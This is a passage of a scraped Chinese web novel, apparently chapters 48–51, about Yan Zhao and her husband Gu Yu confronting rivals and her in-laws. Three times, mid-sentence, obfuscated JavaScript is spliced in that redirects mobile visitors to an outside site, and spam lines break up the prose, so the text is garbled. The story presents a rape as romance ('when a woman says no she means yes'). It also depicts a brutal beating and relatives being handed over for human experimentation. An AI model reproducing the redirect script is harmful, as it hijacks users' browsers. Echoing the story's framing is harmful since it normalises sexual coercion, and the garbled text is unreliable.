路面干净得发亮，她连踩在地上的力气都不敢用，生怕把哪一块砖踩脏、踩坏了。 可现在不一样了。 言昭现在从容了不少。 她安静地坐在那里，衣着利落又合身，发辫上套着顾煜送的那个发圈，旁边还别着一枚小发夹。 整个人看起来干净又精神，穿着打扮甚至比周围那些学生还要新颖些。 言昭想到自己现在是京市人。 户口已经转过来了，这座城市，已经在名义上、也在现实里，接纳了她。 她低头看了看自己的手，指尖安静地放在膝上，心里那点紧绷了许久的东西，终于慢慢松了下来。 正当言昭一个人坐着的时候，没想到会在这里看见刘曼青。 对方显然也没料到会撞上她，脚步猛地一顿，脸色几乎是瞬间沉了下去，那点勉强维持的体面一下子碎得干干净净，目光恶狠狠地朝言昭这边瞪过来。 刘曼青身边的女生还没察觉异样，问了一句：“怎么不走了？你不是想问问她发夹在哪买的吗？ 刘曼青当然不想问。 她怎么也没想到，那个穿得这么好看、坐在那里一眼就显得格外顺眼的人，竟然会是当初那个看起来土里土气、说话还带着乡音的乡下女人。 现在的言昭，神情自然，衣着得体，举手投足都透着一股不需要刻意证明的从容，怎么看都像是土生土长的城里人。 反倒是自己，站在花园的阴影里，身形僵硬，显得有些狼狈。 这个念头刚浮上来，刘曼青心口就跟着一紧。 自从顾煜收走专利后，家里的情况几乎是一天比一天糟。 原本还能勉强周转的账目一下子断了，工人又都是自家亲戚，工资一拖再拖，如今天天闹个不停。 家里为了稳住局面，已经开始把主意打到她身上，明里暗里地提，要她嫁给一个上了年纪的男人，好借着那点关系把厂子拉回来。 那种话，她每听一次，心就冷一次。 这边言昭倒没什么害怕。 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 她只是抬眼看了一下，很快就移开了视线，连多看一眼的兴趣都没有，心里反而生出一股毫不掩饰的嫌弃。 这人当初看着还算体面，谁知道背地里能干出那种事。 要不是上次有人及时把顾煜捞出来，她那时候是真的差点绝望。 这时，顾煜出现在眼前。 他走近时，那张格外醒目的脸出现在眼前，轮廓干净利落，眉眼俊美又冷淡，神情收得很紧，没有多余表情，偏偏显得比平时更惹眼。 刘曼青身边的女生先看见了，呼吸一滞，下意识伸手拉了她一把，声音压得很低，却带着明显的紧张：“是顾煜。” 刘曼青顺着她的视线看过去。 那一瞬间，她的心像是被什么狠狠攥了一下，眼眶几乎是立刻红了起来。 但紧接着刘曼青又害怕起来。 以前在她眼里，顾煜长得太帅气，是京大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338017|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男神。 对人冷淡，说话少，可还算有分寸。 哪怕拒人于千里之外，也始终维持着体面，从没让人真正下不来台。 可自从他那个乡下老婆来了之后，一切就变了。 顾煜还是那张好看的脸，但人就像变了一样。 你甚至分不清他是不是在生气，而且只要惹怒他，下场都会很惨。 言昭看见顾煜，赶紧走了过去。 顾煜刚才还冷峻的脸，在看到她的瞬间就松了下来，唇角勾起一抹很浅的笑意，整个人看着温和了不少。 他伸手牵住她，语气也放得很轻：“都解决好了，不会去咱们家里。你身体现在还没恢复，我们回家吧。” 言昭点了点头。 就在转身前，她下意识朝刘曼青那边看了一眼。 顾煜顺着她的目光扫过去，在看清那两个女生时，眉间明显蹙了一下，神情又冷了几分，没有停留，也没有多余反应，直接收紧手指，拉着言昭往另一条路走去。 那眼神像是多看一眼，都嫌多余。 两人刚走远，刘曼青身边的女生才像是缓过神来，忍不住小声惊叹了一句。 “那个女生……就是顾煜那个对象？” 她语气里全是意外，又下意识往言昭离开的方向看了一眼，忍不住压低声音补了一句：“不是都说是村姑吗？怎么感觉一点都不像啊？” 另一边，两人已经走出了花园。 路上，顾煜低声跟她说了情况，说顾城和李玲已经被直接带去医院做检查，确诊是很严重的传染病，怕他们出来传染 你的朋友正在书荒，快去帮帮他吧 ，要被遣返了。 言昭听得一愣，下意识就问了一句：“那医院需要我们付钱吗？” 顾煜侧过头看她，忍不住笑了一下，那笑意很浅，依旧很招惹人目光。 “我们跟他不在一个户口上，不需要付钱。” 这句话落下，言昭顿时松了一口气，连肩膀都跟着放松下来。 是啊，早就跟他们不是一家人了。 …… 回到家后，顾煜第一件事就是让两人把衣服换下来。 他语气不急，却很干脆，连外套都没让多停一会儿。 言昭还没反应过来，就看见他把两人刚穿出去的衣服一股脑儿丢进了桶里，接着拎了水壶，把桶子灌得满满当当。 然后，他从柜子里拿出一个小瓶子。 瓶子不大，看着很普通。 顾煜拧开盖子，往桶里倒了一点液体，水面很快泛起细小的波纹。 “这些衣服还是消毒一下比较好。” 言昭有点没听懂，她看到自己的发圈和发夹也被他一并丢进了桶里，泡在水中，颜色在水里轻轻晃着。 桶里的水很快泛起一股刺鼻的气味，说不上来是什么味道，呛得人有点不舒服。 言昭皱了下眉，正想开口问这是什么，腰间却忽然一紧。 她整个人几乎是瞬间绷住的。 一只手已经稳稳地落在她腰上，温度透过衣料传过来。 她还没来得及回头，就察觉到身后的人靠得很近，近到她能清楚感觉到对方的呼吸。 言昭脸一下子就红了。 她几乎是条件反射地往旁边一躲，迅速从他身侧退开，语气都有点乱：“你、你靠这么近干什么？” 话刚落下，顾煜又跟着靠近了一步。 他低头看着她，语气还是那样平静：“昭昭，你的衣服需要买新的了。” 言昭本来以为他要干什么，没想到听见只是买衣服，立刻摇头：“不用买，我还能穿——” 话还没说完，顾煜忽然笑了起来。 顾煜微微俯身，唇几乎贴到她耳廓，声音压得极低：“你不觉得……”他呼出来的热气拂过她耳垂，“你现在这个衣服，有点太小吗？” 言昭整个人僵住，耳根瞬间烧得通红。 他声音沙哑磁性，像故意磨着她的神经： “我分明一只手……都握不住。” 话音落下，他的手指极轻地从她腰侧擦过，指尖隔着衣料，慢条斯理地描了一下那道被勒得微微发紧的弧度。 言昭猛地倒吸一口气，脸颊烧得几乎要滴血，下意识想退，哪知道她已经被他完全圈在怀里，退无可退。 第49章 我已经忍了好几天了 顾煜低低叹了口气。 那声音贴着她的耳侧落下来，带着一点无奈的自责：“我是真没想到，你的尺寸，比我想的还要大。也怪我没摸过，所以估得不准。” 言昭脸上的热度几乎是瞬间炸开的。 她根本没让他把后面的话说完，抬手就捂住了他的嘴，指尖还带着点轻微的发颤，语气又急又羞：“你别说了！” 顾煜因为她的触碰，眼神反而更暗了。 那种湿沉的情绪在他眼底慢慢铺开，像是被她这一捂，彻底点燃。 他没有立刻拉开她的手。 而是微微低头。 舌尖轻轻碰了一下她的掌心。 一下。 很轻。 言昭整个人一激灵，猛地惊呼一声，条件反射就要把手抽回去。 可还没来得及退开，手腕就被他稳稳攥住了。 顾煜抬眼看她，眼神低沉又专注，声音压得极低，带着一点若有若无的笑意。 “那昭昭，我们去不去买衣服？” 言昭现在哪里还敢说不。 她几乎是飞快地点头，声音小得不行，带着点破音：“买……我买。” 话一出口，顾煜这才松了手。 他低低笑了一声，像是终于满意了。 “好，我们去逛街吧。” 言昭看了一眼外面，说道：“现在天都要黑了，要不明天再去买吧？” 顾煜没反对。 他顺势把脑袋搁在她肩膀上，呼吸贴着她的颈侧，声音低低的：“好，那我们明天去买，今晚我们早点休息。” 言昭因为他贴在耳边的热气，还有那句“早点休息”，浑身猛地一紧。 这几天顾煜确实没真正碰她。 可他看她的眼神，总是很吓人。 哪怕她低头、转身，都能感觉到那股压着人的存在感。 还有那些小动作。 路过时，手会刻意挡在她身后。 站得近了，身体会自然地把她圈进范围里。 递东西时，指节会在她手背上停留一瞬，像是故意的，又偏偏找不到理由避开。 到了晚上躺在床上，他就会抱住自己，扣得很牢。 手臂横在她腰上，呼吸贴着她后颈。 明明他什么过分的举动都没做。 可就是这种若有若无的逼近，让她比真的发生了什么还要紧张。 两人又去了一趟大澡堂。 等出来的时候，天色已经暗了 你的朋友正在书荒，快去帮帮他吧 不少。 言昭下意识把衣服裹紧了些，也不知道是不是被顾煜之前那句话影响了，总觉得里面那层衣服有点不太合适。 以前她从来没在意过这些。 可现在不一样了。 顾煜那若有若无的目光，总是时不时落在她身上。 更准确地说，是落在她某一处。 她整个人都开始不自在起来。 走一步，都能清楚感觉到他的视线跟着动，像是黏在她身上，甩都甩不开。 当言昭躺到床上的时候，她以为今晚会和前几天一样。 她照旧贴着墙缩着身子，把自己往里收了收，闭上眼，打算就这么睡过去。 下一瞬，她腰上一紧。 一只手扣住她的腰，直接把人从她原本的位置往后拖了过去。 言昭呼吸一滞。 紧接着她整个人陷进一个温热的怀抱里。 身后是结实的胸膛，隔着薄薄的衣料，热度清晰得让人没法忽视。 她没动。 甚至连呼吸都刻意放轻了几分。 顾煜的气息很快贴了上来。 他的脑袋出现在她耳边，唇擦过她的脸颊，轻轻碰了一下，声音压得极低。 “这么快就睡着了吗？ 顾煜的手慢慢收紧。 不是一下子失控，而是那种让人一点点意识到不对劲的靠近。 言昭装不下去了。 她睁开眼，声音发紧：“你不要…… 话还没说完，他笑着打断：“我最近看了不少书，书上说女人说不要，那就是要。 然后顾煜翻身撑在她上方，手臂落在她身侧，把她整个人困在床上。 夜色很暗。 可那双眼睛亮得吓人。 言昭是真的害怕。 那天晚上的记忆猛地翻涌上来，黑暗、重量、逼近的气息，全都重叠在一起，只剩下让人恐惧的感觉。 她下意识摇头，身体本能地往旁边缩，想从他身下钻出去。 可还没退开，手腕就被扣住了。 顾煜没有用很大的力气，但是刚好卡在她挣不开的位置，把她重新按回床上。 “别动。他的声音不像平时那样冷静，反而带着一点被压了太久的哑：“我已经忍了好几天了。 言昭听见这话，心口一紧，恐惧反而更清晰了。 可惜她的挣扎没有任何意义。 她的手被扣着，声音被堵在喉咙里，所有的拒绝都像是落 你的朋友正在书荒，快去帮帮他吧 进了夜色里，没有回音。 她只能哭。 断断续续地，几乎失声地哭。 “别……别在这里……她喘得发抖，声音带着哭腔，慌乱又无助，“会、会被人听见的…… 顾煜低声笑了一下，像是被这句话勾到了什么，声音贴着她的耳侧，哑得厉害。 “乖昭昭。 后面的话，他没再让她听清。 夜色很深。 屋外安静得过分。 可床板轻微的晃动，压不住。 被子里压抑的呼吸声，也压不住。 言昭死死咬着嘴唇，直到嘴里泛起血腥味。 她不敢出声。 可还是没用。 有些声音，是藏不住的。 …… 顾煜在言昭还睡着的时候去了一趟学校。 到图书馆时，人并不多。 他坐在靠窗的位置，神情冷淡，翻书的动作却很快，一页一页地掠过去。 此时桌上已经摊着好几本书。 有的被翻到中间，有的已经合上。 他低头记着笔记，笔尖落下时没有停顿。 顾煜在学校一向很招惹人眼。 没过多久，原本空荡的图书馆就慢慢坐满了。 有人进门目光就往他这边瞟。 有人还在猜测他在看什么书，能看得这么认真。 也有人注意到他记笔记的速度，又忍不住感叹一句，大神不愧是大神。 实则顾煜翻的不是什么专业课本，而是一本公共卫生书。 翻到的那一页，讲的是身体健康，男女之间如何正确做那事，还有如何避免伤害之类的内容。 他看得极快，但是一行都没漏。 笔记本上已经记了好几行字，笔尖压得有点重，纸张都被压出浅浅的痕。 现在顾煜心里憋着一口气。 不是冲别人，是冲自己。 两次了。 昭昭都不舒服。 到后来，他只是伸手碰一下，她都会条件反射地绷紧。 那种下意识的躲，让他心里发沉。 顾煜从没和别的女生接触过，所以很多事，他是真的不懂。 可越不懂，就越觉得丢脸。 他不想再看到她那种害怕的眼神。 也不想让自己在这种事上显得像个什么都不会的人。 于是只能坐在图书馆里翻书找答案。 而家里这边，言昭再一次醒过来 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 时，屋里很安静。 她发现身侧空着。 床铺被整理过，褶皱被抚平，连一点凌乱的痕迹都没留下。 她身上也已经被清理干净，换上了干爽的睡衣，布料贴在皮肤上，没有黏腻的不适，只剩下一种说不清的疲惫。 言昭睁着眼，没立刻动。 过了好一会儿，她的目光才慢慢移到床边的帘子上。 帘子被拉得严实，但是挡不住光。 外面的太阳已经升起，光线透过布料洒进来，在帘子上晕开一片柔和的亮色，随着风轻轻晃动。 言昭轻轻呼出一口气。 要不是身体上那股怎么都忽略不了的不舒服，她几乎会觉得，这样的日子其实很安稳。 屋里干净，阳光温和。 她以前在乡下的时候，那些婶子们总爱凑在一块儿说闲话，说起男女之间那点事，总是笑得意味不明。 说这茬事“哪有不舒服的“要是不舒服，男人还能总往女人身上凑吗。 还有那个被人指指点点的寡妇。 一个人就能传染那么多人。 那时候言昭听着，只觉得这些话又羞又怪，从来没往心里去。 但是想着应该是舒服吧？ 现在她才知道，这件事舒服的只有男人而已。 在言昭躺在床上发呆的时候，门被打开了。 这个响动让她心口猛地一跳。 不用看，言昭也知道是谁回来了。 她身体几乎是条件反射地紧绷起来，第一反应就是想闭上眼装睡，可刚要动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338018|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她又意识到—— 装睡也没用。 他总能看出来。 在言昭脑子里面各种念头出现的时候，帘子就被拉开了。 两人的视线正好撞在一起。 言昭脑子一空，下意识把被子一掀，整个人埋了进去，只露出一小截头发。 这个动作做完，她立刻就后悔了。 太明显了。 他肯定又要闹她。 她以前还以为顾煜是那种稳重、冷静的人，结果一到这种时候，就像变了个人似的，无赖得很。 顾煜站在床边，看着那团缩进被子里的身影，眉心微不可察地皱了一下。 他轻轻叹了口气。 又把她惹不高兴了。 他来到床边坐了下来。 “昭昭，我们去吃饭，顺便把衣服买了吧，再不起来又要到晚上了。 说话时，他伸手在她脑袋上轻轻摸 你的朋友正在书荒，快去帮帮他吧 了一下。 言昭在被子里闷闷地“嗯”了一声，没有拒绝。 她慢慢把被子往下拉了一点，露出半张脸。 现在的她，反而巴不得赶紧离开这个家。 只要待在屋里，他就总会靠过来，手也总是忍不住碰她。 出去走走，反倒让她松一口气。 言昭洗漱好，顾煜已经把要穿的衣服放在床边了。 现在她的衣服，基本都是他在搭配。 现在天有点凉，他给她拿的是一条裙子，又配了一件外套。 言昭坐在凳子上的时候，他就站在她身后，低头替她整理头发。 手指穿过发丝时动作很稳，没有扯痛她。 他给她编了一条麻花辫。 不是那种扎得死紧的样子，而是微微松着，却又不会散开，看着自然又顺眼。 脸颊两边还特意留了一点碎发，额前也是一小撮细软的发丝，垂下来时，把整张脸衬得柔和了不少。 镜子里的人看起来干净又精神。 顾煜往后退了一步，看着镜子里的言昭，神情明显松了一点。 他扫了一眼她身上的衣服，又忍不住皱了下眉。 还是太少了。 心里已经在盘算着，等会儿得多买几套。 而言昭没想到他的手这么巧，几下就把她的头发弄得好看起来。 麻花辫自然地垂在肩侧，碎发刚刚好。 她忍不住想，这人难道经常给姑娘弄头发吗？ 念头一冒出来，脸颊上那点热意反而散了几分，眉心也轻轻动了一下。 两人整理好出门的时候，正好到了中午。 言昭早上喝了一杯牛奶，又吃了个包子，现在并不觉得饿。 院子里有人。 门一开，视线自然就落了过来。 言昭几乎是本能地低下头，脚步也慢了半拍，不敢和任何人对视。 昨晚的动静，虽然比第一次小了些，可在这种安静的院子里，还是太明显了。 她现在是真的没脸见人。 更不敢从别人眼里去猜测什么表情，哪怕对方只是随意一瞥，她心里都跟着发紧。 偏偏顾煜还开口逗她。 “昭昭，地上是有钱吗？” 这个声音有点大。 言昭听着心口一跳，立刻感觉到周围的视线又多了几分，脸颊一下子热起来，气得恨不得当场踩他一脚。 这家伙就是故意的。 她咬了咬唇，勉强把头抬起来，硬着头皮跟着他往外走。 两人走出院门的那一刻，她才终于松了一口气。 顾煜歪着脑袋看她，语气带着点明知故问的意味：“你在怕什么？” 言昭立刻瞪了他一眼。 鼻音轻轻哼了一声，侧过头不看他。 顾煜看着她这副闹小脾气的样子，唇角反而弯了起来，脸上的笑意压都压不住。 哪知道这个时候，本不该出现在这里的两个人，忽然从街角冒了出来。 顾城和李玲一眼就看见了他们。 两人几乎是同时往这边跑。 顾城边跑边喊，声音又急又大—— “小昭！顾煜！” 言昭在看到顾城和李玲的一瞬间，脸色瞬间白了下来。 顾煜也看见了那两个人。 他原本还带着点笑意的神情一下子收了回去，眉眼间浮出明显的冷意。 但是唇角反而弯了一下。 那笑很浅，没有温度。 然后顾煜用力握紧了言昭的手，指节收拢，把她往自己身后一带。 言昭还没反应过来，人已经被他拉到身后。 第50章 乖昭昭，快呼吸 顾城和李玲这一嗓子，自然把院子内不少人的目光都吸引了过来。 顾城见有人看过来，腰杆顿时挺直了些，张口就带着道德味儿。 “我千辛万苦从老家赶到京市来找你，你就是这么对待亲大哥的？ 语气里满是委屈，像是受了天大的冤。 顾煜眼神都没变，只是淡淡看了他一眼。 “你跟我关系有那么好吗？你不是一直都让我滚吗？ 这句话一落，顾城的脸色瞬间僵住。 当众被人揭了老底，连表情都来不及收。 以前是他看不起这个弟弟，说话从来没留情面。 现在对方混得风生水起，站在人群里都显得格外惹眼，而他自己身上带着病，在队里也早没了位置，走到哪儿都被人躲着。 这段日子的憋屈一股脑涌上来，心里是嫉妒愤怒，脸皮还偏偏要硬撑着。 顾城扫了一眼四周，见围过来的人越来越多，心里那点心思又活络起来。 他声音一抬，故意说得更响：“我好歹是你哥哥！我们再怎么吵架，打断骨头也是连着筋的！你怎么这么记仇？ 李玲也跟着站在顾城身边。 她原本是想顺着顾城的话再添几句，可视线一抬，就落在了言昭身上。 这一眼，让她心口猛地一堵。 言昭身上的衣服干净又好看，颜色是她从没见过的，款式也新颖得很，哪怕放在县里最热闹的时候，也少见有人穿得这么体面。 再往上，是头发。 同样是麻花辫，却和她印象里的完全不一样。 不紧不乱，发丝松松垂在肩侧，脸颊两边还留着细碎的头发，把整张脸衬得格外顺眼。 那种精致感，让李玲心里一阵发酸。 她的目光又落到顾煜身上。 那张脸实在太醒目，站在人群里就是最显眼的那个。 自从上次顾煜和言昭一起回过一趟老家，队里就一直在传，说顾煜现在是大学生，日子过得体面，人又长得好，言昭这个童养媳，是真的命好。 这些话，她听了一遍又一遍。 每听一句，心里就像被细针扎一下。 凭什么？ 这三个字在她脑子里一阵阵翻涌。 凭什么过得这么好的，是言昭？ 明明从小到大，村里谁不说她李玲最好看？ 言昭算什么？ 在她心里，言昭就该一辈子窝在村里，守着锅台，衣服补丁摞补丁，低声下气 你的朋友正在书荒，快去帮帮他吧 地讨生活才对。 可现在，她却衣着体面、站在人前。 而自己呢？ 为了顾城，跟娘家闹僵，现在又被他拖累得在队里待不下去。 这股不甘在胸口翻涌，越压越重。 李玲死死咬着牙，指甲掐进掌心，疼得发颤，却压不住心底那股又酸又毒的火。 她忽然往前半步，脸上带着笑，眼神却发紧，声音尖细：“言昭，我知道你一直怨我，觉得是我把顾城抢走了。” 说得像是受尽委屈。 “那我现在把他还给你好不好？现在我对你这么好，你应该也对我好对不对？你能不能把顾煜跟我换？我们是好姐妹，你肯定会答应我的。” 李玲脸上还挂着笑，就想往顾煜那边靠。 这么好看的男人，又在京大读书，听人说他连房子都买了，户口都从队里迁出来，成了正儿八经的京市人。 这些念头在她脑子里一转，笑得越发用力，还故意挺了挺胸，那一点弧度在衣衫下格外显眼，像是生怕顾煜看不见。 她还往顾煜面前凑，香粉味混着肥皂味，一股脑往他身上扑。 顾煜眉头微微蹙起。 还没等他开口，言昭已经从他身后走了出来。 她手上已经缠着一条浅色的手帕，然后就甩了过去。 速度快得让人几乎看不清，手掌带着风，直接扇在李玲脸上。 “啪——” 清脆的一声，响彻四周。 李玲根本没反应过来，整个人被扇得原地转了半圈，脸颊瞬间肿起五道指印。 她踉跄两步，还没站稳，言昭已经跟上一步，抬脚狠狠一脚踹在李玲小腹上。 这一脚结结实实，不带丝毫犹豫。 李玲哪里吃得消？ 她在村里这些日子，顾城有病，家里揭不开锅，也就天天饿着肚子，身体早虚了。 这一踹直接让她离地半尺，重重摔在地上，尘土飞扬。 李玲疼得蜷成一团，整个人缩在地上，嘴里发出刺耳的嚎叫：“哎哟——杀人啦——” 那声音尖利得像是要把耳膜都划破。 顾城原本还想上前拉架，可被言昭那双发红的眼睛一盯，腿瞬间发软，下意识往后退了半步。 言昭却没有给他退开的机会。 她往前一步，抬脚直接踹在顾城胸口，力道狠得让他整个人往后仰翻，重重摔在地上，尘土都被带起一层。 那些被她死死压在心底的画面，在这一刻彻底炸 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 开—— 上一世的绝望，被一步步逼到无路可走的窒息感，全都涌了上来。 她不是只在打眼前这两个人。 是在打那些压在她身上的日子。 现在李玲又想凑上来抢顾煜。 顾城还摆出那副理所当然的嘴脸，仿佛她天生就该低头，让人作呕。 言昭胸口像堵着一团火，烧得她眼眶发热。 周围的嘈杂声仿佛被隔得很远。 她什么都听不见。 只剩下心口那团灼痛的火，在一点一点往外泄。 言昭也不知道自己揍了多久。 她的呼吸越来越急，胸口像被什么堵住，眼睛红得发烫，手指颤抖着，但还想再抬脚—— 忽然，一只手从后面伸过来，轻轻捂住了她的眼睛。 掌心温热，带着熟悉的薄茧，遮住了她眼前所有狼狈的画面。 与此同时，一双胳膊从身后环住她腰，把她整个人稳稳抱进怀里。 顾煜的下巴抵在她肩窝，声音温柔：“乖昭昭，快呼吸。 言昭僵住了。 她这才意识到，自己刚才几乎忘了呼吸。胸口憋得发疼，像要炸开。 这话一落，她猛地吸了一口气，像是终于从水底浮上来，贪婪地大口喘着。 空气灌进肺里，带着尘土味，让她整个人活了过来。 紧接着，言昭眼泪来了。 不是嚎啕大哭，而是无声地、一滴一滴，从眼眶里涌出来，顺着脸颊，滑进顾煜捂着她眼睛的掌心。 温热的泪水浸湿了他的手心，一点一点往下掉，滴在他指缝间，滴在两人交叠的衣角上。 言昭的声音发颤，带着哭腔，低得像在喃喃自语：“我好想杀了他们…… 顾煜的手微微一紧。 他慢慢松开捂着她眼睛的手，转而把她整个人转过来，正面对着自己。 然后，用力抱住她。 胳膊收得死紧，像要把她嵌进骨血里。 他的手轻轻拍着她后背，一下一下，节奏稳得像在哄孩子。 “好。 言昭埋在他怀里，眼泪终于止不住地往下掉，浸湿了他胸前的衣料。 她手指死死攥住他的衣服，像抓住唯一的救命稻草。 顾煜没再说话，只是抱着她，拍着她后背。 …… 到底还是没去买衣服。 言昭回到房间，人就像松 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 了线一样往床上倒去。 她侧身蜷着，手指无意识抓着被角，呼吸很快就变得均匀。 顾煜在床边坐了一会儿。 他视线停留了很久。 看着她睡着的时候眉心还带着一点没散的紧，睫毛轻轻颤着，像是梦里也没彻底放松。 顾煜俯下身，在她脸颊上轻轻碰了一下。 过了两秒，他才直起身，转身走了出去。 院子里还乱着。 门外，筒子楼的院子已经乱成一锅粥。 顾城和李玲被言昭揍得半死，顾城胸口塌陷，咳得满嘴是血。 李玲脸上肿得睁不开眼，腰和腿都青紫一片，趴在地上动弹不得。 顾煜站在院门口，看着这两人惨状。 他反倒有点满意。 她这段时间吃得好、养得好，身子有了力气，动起手来也不再是以前那副软样子。 警察局的人也到了。 但事情没闹大。 顾煜早就提前打过招呼，人一来，问了两句，又看了现场，最后也只当是家里争执处理。 最多不过是整栋筒子楼的人都知道了。 真正麻烦的，是顾城和李玲身上的病。 医院那边已经确认，是严重的传染病，国内都少见。 京市这边的意思很明确，需要遣返回去，不能留在京市。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338019|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但顾煜签了一份协议。 没过多久，一队人直接从医院把顾城和李玲带走了。 去向没人多问。 院子里的人只知道，这两个人再没回来过。 民警们面面相觑，也没多问。 顾煜的身份摆在那儿，京大的毕业生，户口刚迁进京市，背后还有人打招呼。 这件事，说到底是“家事，加上传染病的敏感性，谁也不想沾上麻烦。 顾城和李玲被带上车的时候，还以为是要去医院。 车厢里坐着的，全是穿白衣大褂的人，口罩戴得严严实实，说话声音压得很低，一句都听不清。 车门一关，发动机的声音闷闷地响起来。 车子开了很久。 久到窗外的楼房越来越少，路灯也渐渐稀疏，最后只剩下一片一片黑压压的荒地。 顾城心里开始发慌。 他想开口问，可嘴里被塞着东西，只能发出含糊的呜呜声。 李玲更是缩在角落，脸色白得吓人。 车终于停下。 车门一开，冷风直接灌了进来。 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 两人被人一左一右拖了下去，脚一落地才发现四周空旷得厉害，黑漆漆一片，远处只有一栋孤零零的房子立在那里。 门口还站着人守着。 顾城挣扎着想说话，可惜喉咙里只能发出含糊的声音。 那群穿白衣的人已经往前走去，有人低声说了一句：“是国外研究的那个病，我们这次也能好好研究了。” 旁边的人接了一句：“家属签字了吗？” “签了，钱也打过来了。” 语气平静得像在谈一件再普通不过的公事。 顾城的后背一下子凉透。 另一边。 顾煜坐在一间安静的办公室里。 桌面上摆着厚厚一摞文件，纸页整齐，封皮上印着密密麻麻的条款与编号。 他低着头，一份一份翻过去。 笔尖落下时没有犹豫。 等到最后一页合上，他把笔轻轻放回桌面。 这才抬起头。 对面站着一个身穿军装的中年男子，肩背笔直，神情肃穆。 见他签完，对方站起身，伸出手。 “欢迎你的加入。” 顾煜看了那只手一眼，起身握住。 “嗯。” …… 言昭醒来的时候，屋里很安静。 她睁开眼，愣了两秒，才意识到房间里一个人都没有。 “顾煜？”她小声喊了一声。 声音落在空气里，没有回应。 她又喊了一句，声音比刚才大一点。 还是没人应。 言昭心口一下子提了起来。 她掀开被子坐起身，脚踩到地上，凉意顺着脚心往上窜，整个人都清醒了。 脑子已经开始不受控制地乱想。 他是不是被自己那副样子吓到了？ 言昭站在原地，手指无意识攥紧，呼吸一点点乱起来。 最后她连鞋都没顾上换好，转身就往外跑。 顾煜不会被她吓到的。 她睡着之前，明明还看到他低头看自己的眼神，还是那么温柔好看。 这个念头像线一样拽着她往前，言昭几乎是一路小跑，呼吸越发急促，心口跳得发疼。 等言昭一路跑到京大门口的时候，整个人已经上气不接下气。 她脸色发白，额角渗着细汗，胸口起伏得厉害。 言昭刚要往里走，就被门口的人拦了下来。 “找谁？有学生证吗？” 言昭喉咙发紧：“顾煜，我找顾煜。” 她平时跟着顾煜进出，都是他刷卡带着，从来没自己单独走过门口。 保安也就不认识她。 再加上她神情慌乱，对方以为她是平时的那些姑娘。 他皱了皱眉，语气立刻带了几分不耐。 “都说了多少次了，顾煜已经不在京大了，人家早就毕业走了。快走快走，别堵在门口。” 言昭一下子愣在原地。 毕业了？ 顾煜……从京大毕业了？ 她脑子空了一瞬，像是被人重重敲了一下。 怎么会？ 她怎么一点都不知道？ 顾煜也从来没跟她说过。 言昭站在门口，手指无意识攥紧衣角，呼吸还没缓下来，心口忽然空了一块，凉得发紧。 第51章 顾煜卑微问是开始在意我了吗？ 保安见言昭还站在门口不动又挥了挥手。 “往旁边站站别挡着门人家学生要进来。” 就在这时旁边有个路过的学生多看了她两眼忽然开口：“她不是顾煜的爱人吗？” 保安一愣。 “什么？” 那人点了点头又认真打量了一下言昭语气带着肯定：“就是她上次我看到顾煜带着她来学校。” 保安这才露出几分惊讶神情立刻缓和下来正想开口说点什么。 可还没等他出声言昭突然猛地转过身头也不回地跑开了。 言昭几乎是凭着一股慌乱的劲在城里乱跑。 然后越找她越慌。 她忽然意识到他们最常来的地方居然只有大澡堂。 除此之外她想不出第二个属于“他们”的去处。 她也不知道顾煜喜欢去哪不知道他爱吃什么也不知道他现在在做什么。 那些本该很自然就知道的事此刻一件都想不起来。 这个念头像冷水一样浇下来。 从一开始就是顾煜在照顾她安排她、牵着她往前走。 她只是跟着从来没有真正走进过他的生活。 言昭站在路边脚步发虚走得有些踉跄。 就在这时旁边忽然靠过来两个男人影子压到她脚边语气轻佻。 “这位小姐要去哪儿呀？” 言昭停下脚步垂着眼忽然低低地笑了一声。 那笑意很浅甚至有点冷。 上辈子她听得最多的词就是丑是不中用是活该被踩在泥里。 这辈子因为顾煜她被养得干净体面 连顾城这辈子也能用那种让人作呕的眼神盯着她看。 言昭抬起头眼底一点温度都没有。 “你们能不能别烦我？” 那两个男人愣了一下随即吹了声口哨笑得更放肆。 还没等他们开口地面忽然传来一声闷响。 嘭—— 一块不小的石头从他们脚边砸过去狠狠撞在地上碎裂开来。 碎石四散。 两个男人下意识往后退了一步脸上的笑意顿时僵住。 他们这才看清言昭不知道什么时候弯腰捡了石头指尖还残留着用力过后的绷紧呼吸微重眼神也吓人。 她站在那里一动不动。 像是在 听说看这本书的人都是很幸运的，分享后你的运气会更棒 